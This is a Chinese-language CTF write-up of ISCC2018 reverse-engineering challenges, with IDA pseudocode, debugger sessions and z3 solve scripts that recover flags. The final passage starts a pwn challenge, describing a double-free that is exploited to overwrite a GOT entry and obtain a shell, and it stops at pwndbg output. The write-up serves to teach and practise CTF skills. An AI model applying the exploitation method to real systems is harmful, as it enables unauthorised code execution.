拖到IDA裏分析以前,先搜索了一波字符串,發現存在IsDebuggerPresent和疑似加密後的flag:s_imsaplw_e_siishtnt{g_ialt}F,若是須要調試,要先nop掉IsDebuggerPresent,先靜態分析,拖到IDA裏F5大法,main函數的僞代碼和彙編都很亂,但大體能夠看出把咱們的輸入通過一通操做後扔給sub_401090()函數check,經過即爲正確的flag,同時能看出flag的長度爲29(0x1D)
if ( sub_401090(v16) || v15 < 0x1D || (v17 = "flag is right!", v15 > 0x1D) ) v17 = "try again!"; v18 = sub_401BF0(std::cout, v17, sub_401E30); std::basic_ostream<char,std::char_traits<char>>::operator<<(v18, v19); system("pause");
這時首先想的是經過調試快速肯定怎麼對輸入進行變化的,因而到windows下試圖用Ollydbg調試(調試以前要先找到對IsDebuggerPresent的調用並nop掉,能夠在IDA的import頁面經過x交叉引用找到),這時遇到了第一個問題:文件在windows下直接crash
扔進OD單步調試,很快就能定位到crash出現的位置
crash出現的緣由不難分析,此時[ds + 0x40600]是一個不可讀的地址,這時候想起來windows vitia(writeup用的是windows 2008 server)及其以上版本引入了aslr技術,致使程序載入的基址是隨機的,若是取值的地址是寫死的(好比這道題),就極可能跳到不可讀的地址,程序crash,細節能夠看這裏
一些trick:
- OD把代碼當成數據分析時,能夠選中,點退格讓OD從新分析
- ctrl + A能夠從新分析當前模塊的代碼,也能把誤識別的數據轉爲代碼
同時找到了一個很方便的工具能夠固定程序的載入地址,固定程序的載入地址隨機化後,打開程序,終於能夠正常工做了,因而上OD調試,跟了幾步指令後突然意識到,check函數沒有進行查表,亦或這些操做,只有很簡單的位移,這說明咱們的輸入並不會發生改變,只會發生移位,若是咱們能獲得一串字符移位後的結果,就能夠找到移位的規律,進而恢復出flag
//check函數不會改變輸入 int __cdecl sub_401090(unsigned int a1) { int v1; // ecx const char *v3; // esi unsigned int v4; // edx bool v5; // cf unsigned __int8 v6; // al unsigned __int8 v7; // al unsigned __int8 v8; // al if ( !a1 ) return 0; v3 = "s_imsaplw_e_siishtnt{g_ialt}F"; v4 = a1 - 4; if ( a1 < 4 ) { LABEL_6: if ( v4 == -4 ) return 0; } else { while ( *(_DWORD *)v1 == *(_DWORD *)v3 ) { v1 += 4; v3 += 4; v5 = v4 < 4; v4 -= 4; if ( v5 ) goto LABEL_6; } } v5 = *(_BYTE *)v1 < (const unsigned __int8)*v3; if ( *(_BYTE *)v1 != *v3 ) return -v5 | 1; if ( v4 != -3 ) { v6 = *(_BYTE *)(v1 + 1); v5 = v6 < v3[1]; if ( v6 != v3[1] ) return -v5 | 1; if ( v4 != -2 ) { v7 = *(_BYTE *)(v1 + 2); v5 = v7 < v3[2]; if ( v7 != v3[2] ) return -v5 | 1; if ( v4 != -1 ) { v8 = *(_BYTE *)(v1 + 3); v5 = v8 < v3[3]; if ( v8 != v3[3] ) return -v5 | 1; } } } return 0; }
因而咱們直接在check函數以後下斷點
運行,輸入29位不一樣的數據後觀察
找到了移位先後的字符串,這樣就能夠恢復flag了,腳本以下:
ISCC2018_re150 [master●●] cat solve.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' encrypt = "s_imsaplw_e_siishtnt{g_ialt}F" before = "abcdefghijklmnopqrstuvwxyzABC" after = "onpqmlrskjtuihvwgfxyedzAcbBCa" flag = [encrypt[after.find(c)] for c in before] print "".join(flag) ISCC2018_re150 [master●●] python solve.py Flag{this_was_simple_isnt_it} ISCC2018_re150 [master●●]
固定exe的裝載基址後,發現運行到cin時,程序又crash了,這時纔想到windows10下dll的裝載基址也是隨機的,經過比較aslr_disabler.exe處理先後的exe,發現只對pe頭的一個字段改了一位(能夠經過010 editor的compare功能看出),因而想到了兩種思路:
很明顯第一種方法得不償失,麻煩不說,頗有可能形成系統環境的崩潰。因而嘗試在OD調試的過程當中指定dll的基址,試了一下發現要改的地方太多,放棄了。這個時候想到用wine模擬時程序能夠正常運行,因而搜索了一下調試wine加載的程序的方法,google的全部結果都指向一個工具winedbg,按照man手冊的說明,還能夠以gdb模式啓動,嘗試了一下,發如今本身電腦上各類報錯,把patch後的exe發給一個用arch的大佬學弟試了一下,一次就成了(吐血),比較後發現是wine的版本問題,因而果斷卸載了apt安裝的2.0的wine,手動編譯了一個3.8的wine,而後winedbg --gdb ./leftleftrightright.exe,終於跑起來了,以後的方法就和使用ollydbg時同樣了,直接下斷點查看處理先後的字符串便可
patch後的exe和解題腳本能夠在個人github上找到
題目描述: I think the math problem is too difficult for me.
第一眼看到math problem的時候就已經默默地掏出z3了,事實證實果真如此2333
下載好文件後發現是64位的elf,經典的驗證密碼的題目
Desktop file Reverse Reverse: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=20b7dc66633da72204852bf32a4e0c4ea46340b6, stripped Desktop ./Reverse ======================================= = Welcome to the flag access machine! = = Input the password to login ... = ======================================= aaaaaaaaaaaa Wrong password!
拖到IDA裏,F5能夠看出 sub_400766() 爲驗證輸入的函數,整理一下其代碼以下:
signed __int64 sub_400766() { signed __int64 result; // rax __int64 v1; // ST40_8 __int64 v2; // ST48_8 __int64 v16; // [rsp+20h] [rbp-60h] __int64 v20; // [rsp+28h] [rbp-58h] __int64 v24; // [rsp+30h] [rbp-50h] __int64 v28; // [rsp+38h] [rbp-48h] __int64 v7; // [rsp+50h] [rbp-30h] __int64 v8; // [rsp+58h] [rbp-28h] __int64 v9; // [rsp+60h] [rbp-20h] __int64 v10; // [rsp+68h] [rbp-18h] __int64 v11; // [rsp+70h] [rbp-10h] __int64 v12; // [rsp+78h] [rbp-8h] if ( strlen(s) != 32 ) return 0LL; v16 = *&s[16]; v20 = *&s[20]; v24 = *&s[24]; v28 = *&s[28]; if ( *&s[4] * *s - *&s[12] * *&s[8] != 2652042832920173142LL ) goto LABEL_15; if ( 3LL * *&s[8] + 4LL * *&s[12] - *&s[4] - 2LL * *s != 397958918 ) goto LABEL_15; if ( 3 * *s * *&s[12] - *&s[8] * *&s[4] != 3345692380376715070LL ) goto LABEL_15; if ( 27LL * *&s[4] + *s - 11LL * *&s[12] - *&s[8] != 40179413815LL ) goto LABEL_15; srand(*&s[8] ^ *&s[4] ^ *s ^ *&s[12]); v1 = rand() % 50; v2 = rand() % 50; v7 = rand() % 50; v8 = rand() % 50; v9 = rand() % 50; v10 = rand() % 50; v11 = rand() % 50; v12 = rand() % 50; if ( v28 * v2 + v16 * v1 - v20 - v24 != 61799700179LL || v28 + v16 + v24 * v8 - v20 * v7 != 48753725643LL || v16 * v9 + v20 * v10 - v24 - v28 != 59322698861LL || v24 * v12 + v16 - v20 - v28 * v11 != 51664230587LL ) { LABEL_15: result = 0LL; } else { result = 1LL; } return result; }
一些tricks:
- 首先能夠看出s是32位的char類型,在s上y一下,修改其變量類型爲char s[32],從新f5,一些讓人頭大的全局變量就被識別爲s的元素了
- 右鍵,hide casts,此時的代碼已經和純C差很少了
- n重命名變量,有助於分析
- 若是不肯定相似 v16 = *&s[16];等語句的功能,能夠調試一下快速肯定
邏輯很簡單,先判斷輸入是否爲32個字節,而後每四個字節存到一個變量裏,對這些變量進行驗證,若能經過前四個if判斷,那麼srand的種子也就肯定了,後邊隨機數的生成也就隨着肯定了,所以咱們能夠先之前四個if爲約束求解,解出前四個後,再進一步求出全部變量的值,而後拼出flag(須要注意的是z3根據約束求出的解不止一組,能夠經過變量類型爲__int64排除掉不符合的解),最終的代碼以下
Desktop cat iscc_re150.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from z3 import * from libnum import n2s import ctypes from os import system # dll = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6") # v16 = BitVec('v16', 64) # v20 = BitVec('v20', 64) # v24 = BitVec('v24', 64) # v28 = BitVec('v28', 64) # v0 = BitVec('v0', 64) # v4 = BitVec('v4', 64) # v12 = BitVec('v12', 64) # v8 = BitVec('v8', 64) # s = Solver() # s.add(v4 * v0 - v12 * v8 == 2652042832920173142) # s.add(3 * v8 + 4 * v12 - v4 - 2 * v0 == 397958918) # s.add(3 * v0 * v12 - v8 * v4 == 3345692380376715070) # s.add(27 * v4 + v0 - 11 * v12 - v8 == 40179413815) # while s.check() == sat: # print s.model() # s.add(Or(s.model()[v0] != v0, s.model()[v4] != v4, s.model()[v8] != v8, s.model()[v12] != v12)) v4 = 1801073242 v0 = 1869639009 v8 = 829124174 v12 = 862734414 # v4 = 17606925155252157204 # v8 = 18136882180941875262 # v0 = 99182790156815694 # v12 = 4683719103566694143 # dll.srand(v8 ^ v4 ^ v0 ^ v12) # v1 = dll.rand() % 50; # v2 = dll.rand() % 50; # v7 = dll.rand() % 50; # v8 = dll.rand() % 50; # v9 = dll.rand() % 50; # v10 = dll.rand() % 50; # v11 = dll.rand() % 50; # v12 = dll.rand() % 50; # s.add(v28 * v2 + v16 * v1 - v20 - v24 == 61799700179) # s.add(v28 + v16 + v24 * v8 - v20 * v7 == 48753725643) # s.add(v16 * v9 + v20 * v10 - v24 - v28 == 59322698861) # s.add(v24 * v12 + v16 - v20 - v28 * v11 == 51664230587 ) # while s.check() == sat: # print s.model() # s.add(Or(s.model()[v16] != v16, s.model()[v20] != v20, s.model()[v24] != v24, s.model()[v28] != v28)) # [v16 = 811816014, # v20 = 9223372037683369038, # v24 = 1867395930, # v28 = 9223372038050563937] v16 = 811816014 v20 = 828593230 v24 = 1867395930 v28 = 1195788129 # [v16 = 9223372037666591822, # v20 = 4611686019255981134, # v24 = 9223372038722171738, # v28 = 4611686019623176033] # [v16 = 9223372037666591822, # v20 = 13835058056110756942, # v24 = 9223372038722171738, # v28 = 13835058056477951841] l = [v0, v4, v8, v12, v16, v20, v24, v28] flag = "" for i in l: flag += n2s(i)[::-1] print flag system("echo {}| ./Reverse".format(flag)) # flag{th3_Line@r_4lgebra_1s_d1fficult!}
這一題我拿了一血ヾ(o◕∀◕)ノヾ
IDA打開後發現輸入通過fencode與encode兩個函數處理後與lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq比較,相等便可,重點分析fencode與encode兩個函數,IDA打開fencode函數,查看流程圖發現極其混亂,此時已經嗅到了一絲ollvm的味道,但不肯定,仔細觀察fencode函數,發現有兩處須要注意:
一些tricks:
- y指定fencode函數類型爲void __fastcall fencode(const char *input, char *output)可使input與output均已字符串的形式出如今僞代碼中
- 對於做用相同的局部變量,能夠在變量的定義處點=,讓變量map到其餘變量上,這樣代碼就不會太亂(但也要注意不是全部的變量都能map)
只有這兩處能對output產生影響,IDA中右鍵,Copy to assembly,查看彙編:
能夠看出,只需idiv時查看eax,ecx寄存器的值,imul一句時查看edx,esi寄存器的值便可,通過初步調試後寫了一個gdb腳本方便分析:
ISCC2018_re250 [master●●] cat payload 0123456789abcdefghijklmn ISCC2018_re250 [master●●] cat gdbscript b *0x4008c6 b *0x400906 r < ./payload i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx c i r edx esi eax ecx ISCC2018_re250 [master●●] gdb ./re -q pwndbg: loaded 165 commands. Type pwndbg [filter] for a list. pwndbg: created $rebase, $ida gdb functions (can be used with print/break) Reading symbols from ./re...BFD: /home/m4x/reverse_repo/ISCC2018_re250/re: invalid string offset 2425393296 >= 564 for section `.strtab' (no debugging symbols found)...done. pwndbg> source gdbscript Breakpoint 1 at 0x4008c6 Breakpoint 2 at 0x400906 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x2 2 esi 0x30 48 eax 0xffffdfe0 -8224 ecx 0x0 0 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x2 2 esi 0x31 49 eax 0xffffdfe0 -8224 ecx 0x1 1 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x4 4 esi 0x32 50 eax 0xffffdfe0 -8224 ecx 0x2 2 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffb -5 esi 0x33 51 eax 0xffffdfe0 -8224 ecx 0x3 3 Breakpoint 2, 0x0000000000400906 in fencode () edx 0xffffffff -1 esi 0x33 51 eax 0xffffff8b -117 ecx 0x7f 127 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x1 1 esi 0x30 48 eax 0xffffdfe0 -8224 ecx 0x0 0 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x1 1 esi 0x31 49 eax 0xffffdfe0 -8224 ecx 0x1 1 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x3 3 esi 0x32 50 eax 0xffffdfe0 -8224 ecx 0x2 2 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffd -3 esi 0x33 51 eax 0xffffdfe0 -8224 ecx 0x3 3 Breakpoint 2, 0x0000000000400906 in fencode () edx 0x0 0 esi 0x33 51 eax 0x5e 94 ecx 0x7f 127 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xffffffff -1 esi 0x30 48 eax 0xffffdfe0 -8224 ecx 0x0 0 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffe -2 esi 0x31 49 eax 0xffffdfe0 -8224 ecx 0x1 1 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffd -3 esi 0x32 50 eax 0xffffdfe0 -8224 ecx 0x2 2 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x4 4 esi 0x33 51 eax 0xffffdfe0 -8224 ecx 0x3 3 Breakpoint 2, 0x0000000000400906 in fencode () edx 0xffffffff -1 esi 0x33 51 eax 0xffffffa4 -92 ecx 0x7f 127 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xffffffff -1 esi 0x30 48 eax 0xffffdfe0 -8224 ecx 0x0 0 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x0 0 esi 0x31 49 eax 0xffffdfe0 -8224 ecx 0x1 1 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffe -2 esi 0x32 50 eax 0xffffdfe0 -8224 ecx 0x2 2 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x2 2 esi 0x33 51 eax 0xffffdfe0 -8224 ecx 0x3 3 Breakpoint 2, 0x0000000000400906 in fencode () edx 0xffffffff -1 esi 0x33 51 eax 0xffffffd2 -46 ecx 0x7f 127 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x2 2 esi 0x34 52 eax 0xffffdfe0 -8224 ecx 0x4 4 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x2 2 esi 0x35 53 eax 0xffffdfe0 -8224 ecx 0x5 5 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0x4 4 esi 0x36 54 eax 0xffffdfe0 -8224 ecx 0x6 6 Breakpoint 1, 0x00000000004008c6 in fencode () edx 0xfffffffb -5 esi 0x37 55 eax 0xffffdfe0 -8224 ecx 0x7 7 LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ───────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────── RAX 0x7fffffffdfe0 ◂— 0x3736353433323130 ('01234567') RBX 0x0 *RCX 0x7 *RDX 0xfffffffb RDI 0x4 *RSI 0x37 R8 0x4 R9 0x3 R10 0x309 R11 0x7ffff7aba620 (strlen) ◂— pxor xmm0, xmm0 R12 0x400540 (_start) ◂— xor ebp, ebp R13 0x7fffffffe130 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fffffffdd70 —▸ 0x7fffffffe050 —▸ 0x400f80 (__libc_csu_init) ◂— push r15 RSP 0x7fffffffdcf0 ◂— 0x7f RIP 0x4008c6 (fencode+646) ◂— imul edx, esi ────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────── ► 0x4008c6 <fencode+646> imul edx, esi 0x4008c9 <fencode+649> add edx, dword ptr [rbp - 0x30] 0x4008cc <fencode+652> mov dword ptr [rbp - 0x30], edx 0x4008cf <fencode+655> mov dword ptr [rbp - 0x38], 0x9dd488f1 0x4008d6 <fencode+662> jmp fencode+837 <0x400985> ↓ 0x400985 <fencode+837> jmp fencode+46 <0x40066e> ↓ 0x40066e <fencode+46> mov eax, dword ptr [rbp - 0x38] 0x400671 <fencode+49> mov ecx, eax 0x400673 <fencode+51> sub ecx, 0x8062cb11 0x400679 <fencode+57> mov dword ptr [rbp - 0x3c], eax 0x40067c <fencode+60> mov dword ptr [rbp - 0x40], ecx ─────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────── 00:0000│ rsp 0x7fffffffdcf0 ◂— 0x7f 01:0008│ 0x7fffffffdcf8 ◂— 0x17d7ac49 02:0010│ 0x7fffffffdd00 ◂— 0x11a641770d02b5ce 03:0018│ 0x7fffffffdd08 ◂— 0x2f898fb01bb32d79 04:0020│ 0x7fffffffdd10 ◂— 0x32c3f3ba 05:0028│ 0x7fffffffdd18 ◂— 0x4870988c47f6f166 06:0030│ 0x7fffffffdd20 ◂— 0x70828a986929cc5d 07:0038│ 0x7fffffffdd28 ◂— 0x82e883408157c147 ───────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────── ► f 0 4008c6 fencode+646 f 1 400eb5 main+229 f 2 7ffff7a5a2b1 __libc_start_main+241 Breakpoint *0x4008c6 pwndbg>
這樣咱們就獲得了輸入爲0123456789abcdefghijklmn時的處理過程,能夠看出,對於咱們的輸入,每四位一組與m進行了乘積求和的操做(具體是怎麼計算的能夠看後邊的腳本),而後%127即爲output的結果
再對encode函數進行分析,由如下代碼已經能夠分析出encode函數的做用相似於base64,table即爲程序中的ALPHA_BASE(能夠經過調試驗證一下)
v9 = v22; v10 = v22 + 1; output[v9] = ALPHA_BASE[(v20 >> 2) & 0x3F]; v11 = v10++; output[v11] = ALPHA_BASE[(((v20 & 0xFF) >> 4) | 16 * v20) & 0x3F]; output[v10] = ALPHA_BASE[(((v20 & 0xFF) >> 6) | 4 * v20) & 0x3F]; v12 = v10 + 1; v22 = v10 + 2; output[v12] = ALPHA_BASE[v20 & 0x3F];
這樣,整個程序的流程就清楚了:
類base64是可解的,所以能夠先對給定的字符串解類base64,而後對解類base64的結果再解一個四元的方程組便可,不學線代多年,第一反應就是爆破= =,(127 - 32) ^ 4數據量也不大,爆破的話,大概100s左右就能出結果,後來發現用z3更快,z3的話只需0.5s就能夠出結果,爆破和z3求解的腳本都放在下邊了
ISCC2018_re250 [master●●] cat solve.py #!/usr/bin/env python # -*- coding: utf-8 -*- __Auther__ = 'M4x' from z3 import * from libnum import s2n from itertools import permutations from ctypes import c_int32 table = '''FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+\x00''' def decodeBase64(src): delPaddingTail = {0: 0, 2: 4, 1: 2} value = '' n = src.count('=') sin = src[:len(src) - n] for c in sin: value += bin(table.find(c))[2:].zfill(6) value = value[:len(value) - delPaddingTail[n]] # print value middle = [] for i in range(8, len(value) + 1, 8): middle.append(int(value[i-8:i], 2)) output = middle out = hex(s2n(''.join(map(chr, output))))[2: -1] # print out return out m =[ 2, 2, 4, 4294967291, 1, 1, 3, 4294967293, 4294967295, 4294967294, 4294967293, 4, 4294967295, 0, 4294967294, 2 ] # m = [c_int32(i).value for i in m] # print m f0 = lambda x: int(x, 16) f1 = lambda x1, x2, x3, x4: (x1 * m[0] + x2 * m[1] + x3 * m[2] + x4 * m[3]) & 0xff f2 = lambda x1, x2, x3, x4: (x1 * m[4] + x2 * m[5] + x3 * m[6] + x4 * m[7]) & 0xff f3 = lambda x1, x2, x3, x4: (x1 * m[8] + x2 * m[9] + x3 * m[10] + x4 * m[11]) & 0xff f4 = lambda x1, x2, x3, x4: (x1 * m[12] + x2 * m[13] + x3 * m[14] + x4 * m[15]) & 0xff crypto = '''lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq''' key = decodeBase64(crypto) key = [f0(key[i: i + 2]) for i in range(0, len(key), 2)] # key = [key[i: i + 4] for i in range(0, len(key), 4)] # print key s = Solver() res = [BitVec(str(i), 16) for i in xrange(24)] for i in res: s.add(And(i > 0, i < 256)) for i in xrange(6): s.add(f1(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 0]) s.add(f2(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 1]) s.add(f3(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 2]) s.add(f4(res[4 * i + 0], res[4 * i + 1], res[4 * i + 2], res[4 * i + 3]) == key[i * 4 + 3]) while s.check() == sat: print s.model() flag = "" for i in xrange(24): flag += chr(s.model()[res[i]].as_long() & 0xff) print flag s.add(res[0] != s.model()[res[0]]) else: print "Finish" # print flag # flag = [] # dic = range(32, 127)[::-1] # for a in dic: # for b in dic: # for c in dic: # for d in dic: # if [f1(a, b, c, d), f2(a, b, c, d), f3(a, b, c, d), f4(a, b, c, d)] in key: # flag.append("".join(map(chr, (a, b, c, d)))) # if len(flag) == 6: # All = permutations(flag) # # print All # for x, y, z, r, s, t in All: # t = x + y + z + r + s + t # if t.startswith("flag{") and t.endswith("}"): # print t # exit() # flag{dO_y0U_KNoW_0IlVm?}
最後從flag看出果真是ollvm混淆
靜態分析與動態調試結合,效率倍增
這題的流程經過main函數能夠看出,輸入的字符串通過fencode和encode兩次加密後與字符串lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq 比較,相等即正確。
既然是逆向咱們從encode函數看起。
關鍵代碼如上圖,咱們需肯定的是程序運行時v9,v10,v11,v12和v17,v20,v21的值,我採用的是把encode函數的代碼摳出來本身運行一遍,將上述須要肯定的值用printf輸出,那麼邏輯就很快能夠看出。
這個函數的各個變量的值以下
//v17 = a1[v8] v20 = a1[v6] v21 = a1[v5] //v23即a3起始的下標 v5 = 0 v6 = 1 v8 = 2 v23 = 0 v9 = 0 v11 = 1 v10 = 2 v12 = 3 v5 = 3 v6 = 4 v8 = 5 v23 = 4 v9 = 4 v11 = 5 v10 = 6 v12 = 7 v5 = 6 v6 = 7 v8 = 8 v23 = 8 v9 = 8 v11 = 9 v10 = 10 v12 = 11 v5 = 9 v6 = 10 v8 = 11 v23 = 12 v9 = 12 v11 = 13 v10 = 14 v12 = 15 v5 = 12 v6 = 13 v8 = 14 v23 = 16 v9 = 16 v11 = 17 v10 = 18 v12 = 19 v5 = 15 v6 = 16 v8 = 17 v23 = 20 v9 = 20 v11 = 21 v10 = 22 v12 = 23 v5 = 18 v6 = 19 v8 = 20 v23 = 24 v9 = 24 v11 = 25 v10 = 26 v12 = 27 v5 = 21 v6 = 22 v8 = 23 v23 = 28 v9 = 28 v11 = 29 v10 = 30 v12 = 31
經過上面的變量值能夠看出,每次取a1的三個值通過一些變化做爲ALPHA_BASE的下標,獲得四個值賦給a3,最後a3和lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq比較,那麼能夠每三個一組爆破出a1的值。
decode腳本以下
from z3 import * ALPHA_BASE = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+' s1 = 'lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq' #print len(s1) xiabiao = [] for i in s1: for j in range(len(ALPHA_BASE)): if i == ALPHA_BASE[j]: xiabiao.append(j) print xiabiao #v21 = v6[0] v20 = v6[1] v17 = v6[2] #v6 = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38] def decode(): v6 = [] x = BitVec('x',16) y = BitVec('y',16) z = BitVec('z',16) for i in range(8): s = Solver() s.add( And( x > 0, x < 256, y > 0, y < 256, z > 0, z < 256 ) ) s.add( And( ((x>> 2) & 0x3F) == xiabiao[i*4] , ((((y & 0xFF) >> 4) | 16 * x) & 0x3F) == xiabiao[i*4+1] , ((((z & 0xFF) >> 6) | 4 * y) & 0x3F) == xiabiao[i*4+2] , (z & 0x3F) == xiabiao[i*4+3] ) ) if s.check() == sat: print s.model() v6.append(s.model()[x].as_long()) v6.append(s.model()[y].as_long()) v6.append(s.model()[z].as_long()) else: print 'fail' print(len(v6),v6) return v6 v6 = decode() print v6
獲得的v6是否正確咱們能夠經過encode函數驗證一發,獲得的v6加密結果以下
那麼encode函數已經逆向完成。
和encode函數的處理方法同樣,將F5獲得的代碼本身跑一遍,獲得關鍵變量的值,從而理解函數的邏輯,我分析獲得的邏輯大體以下。
例:a2[0] = (a1[0]*m[0]+...+a1[3]*m[3])%127
a2[1] = (a1[0]*m[4]+...+a1[3]*m[7])%127
a2[2] = (a1[0]*m[8]+...+a1[3]*m[11])%127
a2[3] = (a1[0]*m[12]+...+a1[3]*m[15])%127
其中a1是未知的,m是已知的,a2就是encode函數的v6,也已知。
從上面那個圖能夠看到,a1的每四個值能夠和m,a2組成一個四元一次方程,用z3能夠很快解出。
最終的腳本以下
#!/usr/bin/python # -*- coding: utf-8 -*- __Author__ = "LB@10.0.0.55" from z3 import * ALPHA_BASE = 'FeVYKw6a0lDIOsnZQ5EAf2MvjS1GUiLWPTtH4JqRgu3dbC8hrcNo9/mxzpXBky7+' s1 = 'lUFBuT7hADvItXEGn7KgTEjqw8U5VQUq' #print len(s1) xiabiao = [] for i in s1: for j in range(len(ALPHA_BASE)): if i == ALPHA_BASE[j]: xiabiao.append(j) print xiabiao #v21 = v6[0] v20 = v6[1] v17 = v6[2] #v6 = [37, 192, 59, 166, 31, 175, 76, 165, 203, 139, 164, 155, 59, 225, 40, 133, 38, 38, 22, 231, 17, 9, 7, 38] def decode(): v6 = [] x = BitVec('x',16) y = BitVec('y',16) z = BitVec('z',16) for i in range(8): s = Solver() s.add( And( x > 0, x < 256, y > 0, y < 256, z > 0, z < 256 ) ) s.add( And( ((x>> 2) & 0x3F) == xiabiao[i*4] , ((((y & 0xFF) >> 4) | 16 * x) & 0x3F) == xiabiao[i*4+1] , ((((z & 0xFF) >> 6) | 4 * y) & 0x3F) == xiabiao[i*4+2] , (z & 0x3F) == xiabiao[i*4+3] ) ) if s.check() == sat: print s.model() v6.append(s.model()[x].as_long()) v6.append(s.model()[y].as_long()) v6.append(s.model()[z].as_long()) else: print 'fail' print(len(v6),v6) return v6 def fdecode(): a = [] x = BitVec('x',64) y = BitVec('y',64) z = BitVec('z',64) w = BitVec('w',64) for i in range(6): s = Solver() s.add( And( x > 0, x < 128, y > 0, y < 128, z > 0, z < 128, w > 0, w < 128) ) s.add( (x*m[0] + y*m[1] + z*m[2] + w*m[3])%256 == v6[i*4] ) s.add( (x*m[4] + y*m[5] + z*m[6] + w*m[7])%256 == v6[i*4+1] ) s.add( (x*m[8] + y*m[9] + z*m[10] + w*m[11])%256 == v6[i*4+2] ) s.add( (x*m[12] + y*m[13] + z*m[14] + w*m[15])%256 == v6[i*4+3] ) if s.check() == sat: print s.model() a.append(s.model()[x].as_long()) a.append(s.model()[y].as_long()) a.append(s.model()[z].as_long()) a.append(s.model()[w].as_long()) else: print 'fail' return a v6 = decode() m = [0x2,0x2,0x4,0xFFFFFFFB,0x1,0x1,0x3,0x0FFFFFFFD,0x0FFFFFFFF,0x0FFFFFFFE,0x0FFFFFFFD,0x4,0x0FFFFFFFF,0x0,0x0FFFFFFFE,0x2] a = fdecode() #a = [102, 108, 97, 103, 123, 100, 79, 95, 121, 48, 85, 95, 75, 78, 111, 87, 95, 48, 73, 108, 86, 109, 63, 125] #print a flag = [ chr(i) for i in a ] print ''.join(flag) #flag{dO_y0U_KNoW_0IlVm?}
64位動態連接的程序,沒有開啓PIE和RELRO保護,意味着got表地址是固定的而且可寫,分析程序後,發現free時只對下標作了驗證,存在double free的漏洞,而且程序沒有咱們可控的輸出,所以也就不能leak libc了,看起來只有overwrite got這一條路可走了,同時也發現了存在gg函數能夠直接get shell,所以思路就是覆寫某個got爲gg的地址了,咱們先調試看一下got附近有沒有合適的size
double free的原理能夠看這個slide
注意只有運行過某函數時,該函數的got地址纔會爲真實地址 pwndbg> telescope 0x602000 20 00:0000│ 0x602000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x601e28 (_DYNAMIC) ◂— 0x1 01:0008│ 0x602008 (_GLOBAL_OFFSET_TABLE_+8) —▸ 0x7f5fa9e77170 ◂— 0x0 02:0010│ 0x602010 (_GLOBAL_OFFSET_TABLE_+16) —▸ 0x7f5fa9c67ca0 (_dl_runtime_resolve_avx_slow) ◂— vorpd ymm8, ymm1, ymm0 03:0018│ 0x602018 (free@got.plt) —▸ 0x7f5fa992e4e0 (free) ◂— mov rax, qword ptr [rip + 0x31da11] 04:0020│ 0x602020 (puts@got.plt) —▸ 0x7f5fa991bf60 (puts) ◂— push r13 05:0028│ 0x602028 (fread@got.plt) —▸ 0x7f5fa991aa10 (fread) ◂— push r13 06:0030│ 0x602030 (__stack_chk_fail@got.plt) —▸ 0x400746 (__stack_chk_fail@plt+6) ◂— push 3 07:0038│ 0x602038 (system@got.plt) —▸ 0x400756 (system@plt+6) ◂— push 4 08:0040│ 0x602040 (printf@got.plt) —▸ 0x7f5fa9902160 (printf) ◂— sub rsp, 0xd8 09:0048│ 0x602048 (__libc_start_main@got.plt) —▸ 0x7f5fa98d31c0 (__libc_start_main) ◂— push r14 0a:0050│ 0x602050 (__gmon_start__@got.plt) —▸ 0x400786 (__gmon_start__@plt+6) ◂— push 7 0b:0058│ 0x602058 (strtol@got.plt) —▸ 0x7f5fa98e9c40 